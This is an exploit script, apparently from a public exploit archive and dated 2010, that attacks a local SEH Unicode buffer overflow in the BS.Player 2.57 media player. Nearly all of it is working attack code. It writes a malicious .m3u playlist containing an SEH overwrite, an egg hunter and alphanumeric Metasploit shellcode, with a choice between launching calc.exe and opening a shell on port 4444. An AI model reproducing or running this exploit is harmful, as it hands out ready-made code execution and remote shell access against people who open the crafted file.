BS.Player 2.57 – Local Buffer Overflow (SEH Unicode)
# # #[+]Exploit Title: Exploit Buffer Overfloe Bsplayer 2.57(UNICODE-SEH) #[+]Date: 01\07\2010 #[+]Author: C4SS!0 G0M3S #[+]Software Link: http://www.bsplayer.com/services/downlad-free-bsplayer.php?type=2 #[+]Version: 2.57 #[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN #[+]CVE: N/A # # # ######### ## ######### ######### ## ############### # ######### #### ######### ######### ## ## ## # ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ## ## # ## ########## ######## ######## ## ## ## # ## ## ## ## ## ## ## # ## ## ## ## ## ## ## # ######## ## ######## ######### ## ## ## # ######## ## ######## ######### \/ ############### # #Created By C4SS!0 G0M3S #Louredo_@hotmail.com #www.invasao.com.br # # import os import sys import time import string os.system("cls") os.system("color 4f") def usage(): print "\n" print "[+]Exploit: Exploit Buffer Overflow Bsplayer(UNICODE-SEH)" print "[+]Date: 01\\07\\2010" print "[+]Author: C4SS!0 G0M3S" print "[+]Home: www.invasao.com.br" print "[+]E-mail: Louredo_@hotmail.com" print "[+]Version: 2.57" print "[+]Software: Bsplayer 2.57\n" print "[-]Note:" print "TO EXPLOIT THE RUN FILE NAME MUST BE FILE_NAME.M3U\n" if((len(sys.argv)!=3) or (int(sys.argv[1])<1) or (int(sys.argv[1])>2)): usage() print "Payloads:\n1 - WinExec(\"Calc.exe\",0)\n2 - Reverse_Tcp_Shell\n" print "[-]Usage: "+sys.argv[0]+" <Playload Number> <File Name>" print "[-]Exemple: "+sys.argv[0]+" 1 Exploit.m3u" sys.exit(0) usage() buffer = "\x42" * 4102 nseh = "\x61\x6d" seh = "\xde\x4e" #pop ebx - pop ebp - ret at 0x004E00DE [bsplayer.exe] egg_hunter = "\x45\x61\x45\x61\x45\x50\x45\xc3" junk = "\x45" * 1094 print "[*]Identifying the length Shellcode" time.sleep(1) if int(sys.argv[1]) == 2: shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ" "ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBNKWY7N4PV9X6PQX1PV9JYNZ9SDMTZTR" # "83SY0KT01RPLLLCBPLLT2RLPJX9KKTOX3NZUKKV0VLK3Y3MLRONMMJU2VWC8VQKQSOPTZT3CTK1LPUR6" # "KZR65RJC7NPWDLVRZQUMFMV85BXR7BOG8SCKUNXUVMVGIPMKJJZ6XSQ40ORI2UTOWNWRXVF679XJWYPL" #FROM METASPLOIT FRAMEWORK "OU2QOXQNN0GGLNM3HJLRVWUSKO4OWMVOZKXLKLY2B3U1BQMPEBVMQEEFULKP12N8GHWH43CROTS2NPPD" # "QT0YXLS5MOM3OCKSRWPFLJWWN19PSXXOFKYD7KLN3WYMFFEJY7LO785W6C1TM7MOURUH7EOM1FZTEMOJ" #SHELLCODE REVERSE_TCP_SHELL ON PORT 4444 "28TUN2LK0SKNTKKPHJSDRKLFONNC2620QXQTRFZUE3UGR8TOL5V3YO47PRSMMBURNNL9MNEHNELX5NOW" # "Q8C5UPOLK3BIRSQBOXVDD9STOI8LHBM1Y3PEPOKMQOMKRN8JZIJ3MPJ0VRRYY92VP0DLVJ3TVJFWKSKB" #PROMPT: "QCMXW7O30CRZRF7JK7JV4S2SRM9M5RRTOZZVFYQQDKKW1LY7S6LZFJLLZNXMJB685QOJGLNKNITOCZSK" # "QITVVPONFL6LN0O1RVBINM6OLML4XL0TNL6RRVN28UOKSULQJXYLLY9NLM57LVDS8NY2PMQ3MORRMHQD" #C:\>Telnet 127.0.0.1 4444 "BEINV9QY8U0MN1ZTUPPO3KGMVDOQWLNEUOJLWKE6UPNMBX12QURRNVJN78DYMXKOMHNA") # # if int(sys.argv[1]) == 1: shellcode = ("PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZ" "ABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBIKY0NQ99GO3LLVRPHLXY2TMTL46QMNR" "8P1SHN853YXKLKSSHQXL4TENPSHWL3599RX6VNCJUKCH4VNSMM25ZOJP2MLWORBZMMM1DJ5QVO9MQ9W4" "V30ZUBQWZLFP5KELTXGCLKKMKLE2KZPNG9MOXKMNBNXMKVBK893KGOKSJXOPLPOMS8SR3UTPWKGHXOKT" "CDN4CMOQG1C34R171NSXML5WVKE7QSN4XL5VJZQM5W8O669OMOK90J9KN0Q31VVLNNOCUN957X7SHNOP" "YTP3KXWLE3O9XCKXJA") print "[*]The Length Shellcode:"+str(len(shellcode)) time.sleep(1) shellcode += "\x41" * 5000 file = str(sys.argv[2]) payload = buffer+nseh+seh+egg_hunter+junk+shellcode op = "w" print "[*]Creating Your File "+file time.sleep(1) try: f = open(file,op) f.write("http://"+payload) f.close() print "[*]The File "+file+" was Successfully Created" except: print "[*]Error Creating File "+file |